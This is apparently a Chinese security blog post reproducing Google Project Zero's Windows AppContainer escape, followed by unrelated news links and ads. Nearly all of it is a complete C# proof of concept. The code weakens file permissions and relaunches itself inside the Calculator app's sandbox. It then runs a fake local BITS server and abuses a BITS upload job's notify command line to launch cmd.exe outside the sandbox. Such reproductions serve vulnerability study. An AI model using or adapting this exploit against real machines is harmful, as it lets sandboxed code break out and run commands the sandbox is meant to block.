关于谷歌P0的AppContainer逃逸的一种简单的复现
简要概述
简要分析
运行效果
IBackgroundCopyJob::SetNotifyCmdLine:
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline
相关代码
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class Program
{
static volatile ManualResetEvent me=new ManualResetEvent(false);
static bool IsInAppContainer()
{
using (var token = NtToken.OpenProcessToken())
{
return token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string dir)
{
UpdateSecurity(dir);
foreach (var file in Directory.GetFiles(dir))
{
UpdateSecurity(file);
}
}
static string cmdExe = @"C:\Windows\System32\cmd.exe";
static string mainExe = typeof(Program).Assembly.Location;
static bool RestartInAppContainer(string[] args)
{
string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
if (!File.Exists(FakeFile))
{
File.WriteAllText(FakeFile,"fake");
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List<Sid> caps = new List<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config = new Win32ProcessConfig
{
CreationFlags = CreateProcessFlags.NewConsole,
CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName = mainExe,
CommandLine = mainExe + " " + FakeFile
};
config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");
config.Capabilities.AddRange(caps);
using (var p = Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Headers["BITS-Error-Context"] = "";
context.Response.ContentLength64 = 0;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
//string ContentName = context.Request.Headers["Content-Name"].ToString();
string ContentRange = context.Request.Headers["Content-Range"].ToString();
List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length = ContentRangeList[1];
string range_start = crange[0];
string range_end = crange[1];
Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId = Guid.NewGuid();
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Protocol"] = supported_protocols;
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
}
private static void Process_BITS_POST(HttpListenerContext context)
{
try
{
if (context.Request.Headers["BITS-Packet-Type"] != null)
{
string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
switch (BITSPacketType)
{
case "CREATE-SESSION":
{
Process_CREATE_SESSION(context);
break;
}
case "FRAGMENT":
{
Process_FRAGMENT(context);
break;
}
case "CLOSE-SESSION":
{
Process_CLOSE_SESSION(context);
break;
}
case "CANCEL-SESSION":
{
Process_CANCEL_SESSION(context);
break;
}
case "PING":
{
Process_PING(context);
break;
}
default:
{
break;
}
}
context.Response.StatusCode = 200;
context.Response.Close();
}
}
catch (Exception e)
{
context.Response.StatusCode = 500;
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Close();
Console.WriteLine(e);
}
}
private static void StartBitsServer()
{
try
{
using (HttpListener listener = new HttpListener())
{
listener.Prefixes.Add("http://localhost:5686/");
listener.Start();
Console.Write("StartBitsServer"+Environment.NewLine);
me.Set();
while (true)
{
HttpListenerContext context = listener.GetContext();
Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
switch (context.Request.HttpMethod.ToUpper())
{
case "BITS_POST":
{
Process_BITS_POST(context);
break;
}
default:
{
break;
}
}
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
static void Main(string[] args)
{
try
{
if (IsInAppContainer())
{
RunBtsJob(args[0]);
}
else
{
Task.Factory.StartNew(() =>
{
StartBitsServer();
});
me.WaitOne();
RestartInAppContainer(args.ToArray());
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
private static void RunBtsJob(string file)
{
IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
Guid jobGuid;
IBackgroundCopyJob job1;
mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
job.SetNotifyCmdLine(cmdExe, cmdExe);
job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
job.AddFile("http://localhost:5686/fake.png", file);
job.Resume();
BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
{
Thread.Sleep(1000);
job.GetState(out stat);
}
job.Complete();
Console.Write("Success");
}
}
}
相关引用
相关项目
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
-
Gmail客户端获“摘要卡”特性更新 智能将邮件内关键信息整合为卡片
IT之家 10 月 3 日消息,谷歌公司宣布将为 Gmail 邮件客户端推出一系列“摘要卡”特性,该功能有点类似安卓系统中常见的短信卡片,可以将邮件中的关键信息整合为一张直观的卡片。据介绍,Gmail
-
Android 15完全成熟了!稳定版呼之欲出
据媒体报道,经过数月的更新迭代和公开测试,Android 15终于成熟了。谷歌已将Android 15源代码上传至Android开源项目(AOSP),目前仅限开发人员使用,用户还需要等一等。随着And
-
美国要让谷歌分拆 出售安卓等资产:谁会接盘 国产厂商有机会吗
据外媒最新报道称,美国正在加快对谷歌的分拆,因为这家科技巨头在在线搜索领域拥有非法垄断地位。报道中提到,美国司法部可能会让谷歌强行出手旗下部分业务,比如Chrome浏览器、广告平台 AdWords等。
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- httpsok:开源免费的SSL证书 一行命令轻松搞定SSL证书自动续期
- PolarDB 开源的云原生数据库
- 因对组织心怀不满,勒索软件开发人员泄露Lockbit 3.0生成器
- 因遭勒索软件攻击,智利政府机构服务中断
- GitHub:黑客盗用 OAuth 令牌,导致数十个组织数据泄露
- “咕”了 73 天,何同学终于回归:最喜欢 3D 打印机,但不要买!
- 微软再损一将!继Nat Friedman后,另一Xamarin联合创始人也已离职
- 做技术开发到老 or 晋升管理层,程序员的终极目标是什么?
- 雷军哽咽:我愿押上人生全部声誉,为小米汽车而战!
- 小米路由器AX6000:Wi-Fi 6增强版,极速升级
- 《使命召唤手游》震撼来袭,高通骁龙助力还原真实战场
- Linux平台漏洞分析、利用和挖掘,挖到属于自己的漏洞!